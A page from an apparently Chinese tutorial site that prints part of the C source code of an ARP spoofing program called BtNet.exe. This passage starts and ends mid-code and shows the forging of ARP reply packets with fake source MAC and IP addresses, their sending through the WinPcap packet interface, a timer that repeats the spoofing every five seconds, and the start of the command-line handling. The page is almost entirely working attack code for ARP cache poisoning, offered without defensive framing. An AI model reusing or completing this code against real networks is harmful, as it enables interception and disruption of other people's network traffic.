首页/杀毒教程/内容

的R -基于网络攻击, ARP协议欺骗程序源代码BtNet.exe

杀毒教程2022-11-08 阅读()
(t2==-1))

{

printf("-m parameter error!\n");

return 0;

}

eth.eh_src[i]=t1*16+t2;

eth.eh_dst[i]=toMAC[i];

arphdr.arp_sha[i]=t1*16+t2;

arphdr.arp_tha[i]=toMAC[i];

}

}

else

{

for(i=0;i<6;i++)

{

eth.eh_src[i]=toMAC[i];

eth.eh_dst[i]=toMAC[i];

arphdr.arp_sha[i]=toMAC[i];

arphdr.arp_tha[i]=toMAC[i];

}

}

eth.eh_type=htons(ETH_ARP);

arphdr.arp_spa=htonl(oIP);

arphdr.arp_tpa=htonl(toIP);

arphdr.arp_hdr=htons(ARP_HARDWARE);

arphdr.arp_pro=htons(ETH_IP);

arphdr.arp_opt=htons(ARP_REPLY);

arphdr.arp_hln=6;

arphdr.arp_pln=4;

memset(szPacketBuf,0,sizeof(szPacketBuf));

memcpy(szPacketBuf,ð,sizeof(ETHDR));

memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));

PacketInitPacket(lpPacket,szPacketBuf,60);

if(PacketSetNumWrites(lpAdapter, 1)==FALSE)

{

printf("warning: Unable to send more than one packet in a single write!\n");

}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf("Error sending the packets!\n");

PacketFreePacket(lpPacket);

return 0;

}

PacketFreePacket(lpPacket);

sin.sin_addr.s_addr=arphdr.arp_tpa;

printf("spoof %s: ",inet_ntoa(sin.sin_addr));

sin.sin_addr.s_addr=arphdr.arp_spa;

printf("%s-->",inet_ntoa(sin.sin_addr));

for(i=0;i<5;i++)

printf("%.2x-",arphdr.arp_sha[i]);

printf("%x",arphdr.arp_sha[5]);

printf("\n");

return 0;

}

DWORD WINAPI sendSRTimer(LPVOID dwtoIP)

{

printf("Waiting spoof Start\n");

mytoIP=*(u_long *)dwtoIP;

newtimer=SetTimer(NULL,NULL,5*1000,TIMERPROC(sendSR));

while(GetMessage(&msg,0,0,0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

int main(int argc,char *argv[])

{

HANDLE thread1,thread2,thread3;

WCHAR adaptername[8192];

WCHAR *name1,*name2;

ULONG adapterlength;

DWORD threadid1,threadid2,threadid3;

u_long toIP,myip;

struct NetType ntype;

struct sockaddr_in sin;

struct npf_if_addr ipbuff;

int adapternum=0,opti=0,open,i,j;

long npflen;

if((argc!=5)&&(argc!=7))

{

start();

return 0;

}

else if((strcmp(argv[1],"-h")!=0)(北联网教程,专业提供视频软件下载)

第1页  第2页  第3页  第4页  第5页  第6页  第7页  第8页  第9页  第10页  第11页  第12页  第13页  第14页  第15页  第16页  第17页  第18页  第19页 

……

相关阅读